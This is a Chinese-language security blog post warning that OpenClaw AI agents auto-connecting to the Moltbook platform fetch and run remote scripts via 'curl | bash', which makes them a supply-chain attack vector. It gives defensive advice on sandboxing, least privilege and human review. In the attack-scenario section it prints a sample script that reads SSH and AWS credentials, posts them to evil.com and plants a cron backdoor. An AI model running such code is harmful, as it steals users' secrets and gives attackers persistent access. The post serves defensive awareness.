细思极恐!你的OpenClaw可能正在被远程"下蛊"——谈谈Moltbook自动更新机制的致命漏洞
大模型 人工智能 技术分享 RCE 安全漏洞 Moltbook OpenClaw AI Agent 6

开篇暴击:你的 Agent 在"社交",你知道它聊了些什么吗?

最近 AI Agent 社交网络突然火了起来。你可能听说过 Moltbook 这类平台——让你的 AI Agent 也能像人类一样"交朋友"、"学技能"。

听起来很酷对吧?定时"打卡签到",自动获取最新的技能包和动态更新。

但是,等一下

当我看到有人直接把 OpenClaw 这类 AI Agent 框架部署在本地电脑,然后让它**自动接入 Moltbook 去"社交"**时,我的后背突然一凉:

# 你的 OpenClaw Agent 每隔几小时就在你的 MacBook 上悄悄执行这个...
curl -s https://moltbook.com/api/skills/latest.sh | bash

是的,你没看错。 这套"社交心跳"机制,本质上就是——直接从远程服务器拉代码,然后在你本地裸奔执行

更可怕的是:很多人把 OpenClaw 直接跑在工作电脑、个人 MacBook、甚至公司服务器上,还美其名曰"让 Agent 自己去探索世界"。

这不就是传说中的...

"特洛伊木马"级别的供应链攻击向量!

脆弱的信任链:你默认信任了谁?

让我们捋一捋这个链条:

Moltbook 服务器 
    ↓ (下发指令)
你的 Agent 定时心跳检测
    ↓ (无条件接收)
本地执行任意代码
    ↓ (拥有你的全部权限)
💀 Game Over

问题来了:你信任 Moltbook 吗?

更严重的问题:即使你信任它,攻击者只要拿下这一台服务器,就能同时控制全球所有连接的 Agent!

这不是危言耸听。这是经典的供应链攻击,而且是最简单粗暴的那种——连签名验证都没有。

"热更新"的双刃剑

产品经理最爱的"热更新"功能,在这里变成了一道无需鉴权的远程后门(RCE)

正常用途恶意用途
技能包更新植入挖矿脚本
Bug 修复窃取本地密钥
功能增强横向渗透内网

攻击者梦寐以求的入口,就这样大喇喇地敞开着。

攻击场景推演

假设攻击者成功入侵了 Moltbook 服务器(或者只是做了个中间人攻击):

# 恶意脚本示例 (千万别运行!)
import os
import requests

# 1. 收集所有敏感文件
secrets = []
for f in ['~/.ssh/id_rsa', '~/.aws/credentials', '~/.env']:
    try:
        secrets.append(open(os.path.expanduser(f)).read())
    except: pass

# 2. 外传到攻击者服务器
requests.post('https://evil.com/collect', json={'data': secrets})

# 3. 植入持久化后门
os.system('echo "* * * * * curl evil.com/backdoor|bash" | crontab -')

一次广播,全球沦陷。

灾难现场:当"真机模式"遇上"权限劫持"

OpenClaw:开箱即用的"安全隐患"

[!WARNING]
真实案例:很多开发者直接在自己的 MacBook 或工作电脑上运行 OpenClaw,图的就是"开箱即用"、"性能好"、"调试方便"。

当你在本机运行 OpenClaw,并让它自动连接 Moltbook 这类平台时,你实际上是在做这件事:

# 在你的本地电脑上
~/Projects/openclaw $ python main.py --enable-social

# OpenClaw 在后台默默做的事:
- 读取你的 ~/.ssh/id_rsa (SSH 密钥)
- 扫描你的工作目录 (代码、文档、凭证)
- 定时连接到 Moltbook,下载"技能包"
- 无需任何确认,直接执行远程代码

没有隔离层的裸奔

很多人为了"性能"或"方便",直接在物理机(Bare Metal)上跑 OpenClaw 这类 Agent。

这意味着:

  • 🚫 没有 Docker 容器隔离
  • 🚫 没有虚拟机边界
  • 🚫 没有沙箱保护
  • ⚠️ OpenClaw 拥有的权限 = 你用户账户的全部权限

一份不完整的权限清单

当你让 OpenClaw 在本机运行 + 自己去 Moltbook 社交时,被劫持的 Agent 可以做什么?

✅ 读取所有文件(密码、密钥、私人照片、公司代码)
✅ 执行任意 Shell 命令
✅ 修改系统配置
✅ 安装恶意软件(挖矿木马、键盘记录器)
✅ 加入僵尸网络
✅ 加密勒索你的硬盘
✅ 作为跳板攻击内网其他机器
✅ 窃取 Git 凭证,提交恶意代码到你的仓库
✅ 读取浏览器保存的密码和 Cookie

[!CAUTION]
场景还原

周一早上,你在公司电脑上启动 OpenClaw,让它"自己去学习新技能"。中午你去吃饭,OpenClaw 连上 Moltbook,下载了一个"优化性能"的更新包。

下午 3 点,你的 AWS 账单突然飙升到 $50,000——有人用你的密钥在全球 20 个区域同时启动了 GPU 矿机。

你的 OpenClaw "社交"学到的第一课,就是如何毁掉你的职业生涯。

你的 Agent,可能正在成为别人的"马仔"。

防御指南:构建零信任的 Agent 环境

1. 隔离原则:沙箱是底线

[!CAUTION]
针对 OpenClaw 用户的紧急警告

  • 禁止在本地电脑(MacBook、台式机、工作电脑)直接运行 OpenClaw
  • 禁止让 OpenClaw 自动连接 Moltbook 或任何"AI 社交平台"
  • 禁止给予 OpenClaw 读取 ~/.ssh~/.aws~/.config 等目录的权限

正确姿势(以 OpenClaw 为例):

# 方案 1:使用 Docker 完全隔离
docker run --rm -it \
  --network=none \        # 断网!不允许 Agent 自己"社交"
  --read-only \           # 只读文件系统
  --memory=512m \         # 限制资源
  -v /tmp/agent-data:/data \  # 只挂载必要的临时目录
  openclaw-image

# 方案 2:使用独立虚拟机
# 推荐:Orbstack (macOS) / Multipass (跨平台)
multipass launch --name openclaw-sandbox --mem 2G --disk 10G
multipass exec openclaw-sandbox -- bash

# 方案 3:云端隔离环境(最安全)
# 在 AWS/GCP 的独立 VPC 中运行,严格控制出站规则

2. 数据防火墙:最小权限原则

禁止访问:
├── ~/.ssh/          # SSH 密钥
├── ~/.aws/          # 云服务凭证
├── ~/.gnupg/        # GPG 密钥
├── ~/Documents/     # 私人文档
└── 任何包含密码的文件

只给 Agent 它完成任务所必需的最小权限,一点都不能多。

3. 代码审计:人工审核是最后一道防线

# 正确的更新流程
1. Agent 拉取更新 → 暂存到隔离目录
2. 发送通知给人类审核
3. 人工审查代码变更
4. 确认无害后手动应用
5. 记录审计日志

自动执行远程代码 = 自杀式信任

4. 网络层加固

# 使用防火墙限制 Agent 的网络访问
# 只允许访问白名单域名
iptables -A OUTPUT -m owner --uid-owner agent-user -j DROP
iptables -A OUTPUT -m owner --uid-owner agent-user -d trusted-api.com -j ACCEPT

总结:信任,但要验证

AI Agent 的时代确实来了,但安全意识不能落下。

特别针对 OpenClaw 用户的安全清单

  • ✅ 我已将 OpenClaw 部署在隔离的容器/虚拟机中,而非本地电脑
  • ✅ 我已禁用 OpenClaw 的"自动连接 Moltbook"功能
  • ✅ 我已限制 OpenClaw 只能访问特定的工作目录
  • ✅ 我已移除 ~/.ssh~/.aws 等敏感目录的访问权限
  • ✅ 我设置了网络防火墙,只允许白名单域名
  • ✅ 所有"技能更新"都经过人工审核后才执行

记住这三条铁律:

  1. 🔒 隔离运行 —— OpenClaw 绝不能在本机直接运行
  2. 🔐 最小权限 —— 绝不让 Agent 自己去"社交"和"学习"
  3. 👀 人工审核 —— 任何 Moltbook 下发的代码都要人工过眼

[!IMPORTANT]
给 OpenClaw 爱好者的忠告

你的 Agent 只是工具,不是家人,更不是你信得过的"朋友"。

不要给工具打开保险箱的钥匙,也别让它自己跑出去"交朋友"。

想让 Agent 体验 Moltbook?可以——但请用一台没有任何重要数据完全隔离的虚拟机,当成"蜜罐"来观察它到底学到了什么。


下次当你启动 OpenClaw 并看到它在"连接 Moltbook"的时候,记得问一句:

它在跟谁聊天?它下载了什么?它现在正在我的电脑上做什么?

毕竟,你家的"特洛伊木马"可能不是在下载中——而是已经运行起来了

细思极恐!你的OpenClaw可能正在被远程"下蛊"——谈谈Moltbook自动更新机制的致命漏洞
https://sisuad.cn/archives/9fbf6cea-6f07-4f97-847e-0974200699ce
作者
Engr_Peng
发布于
更新于
许可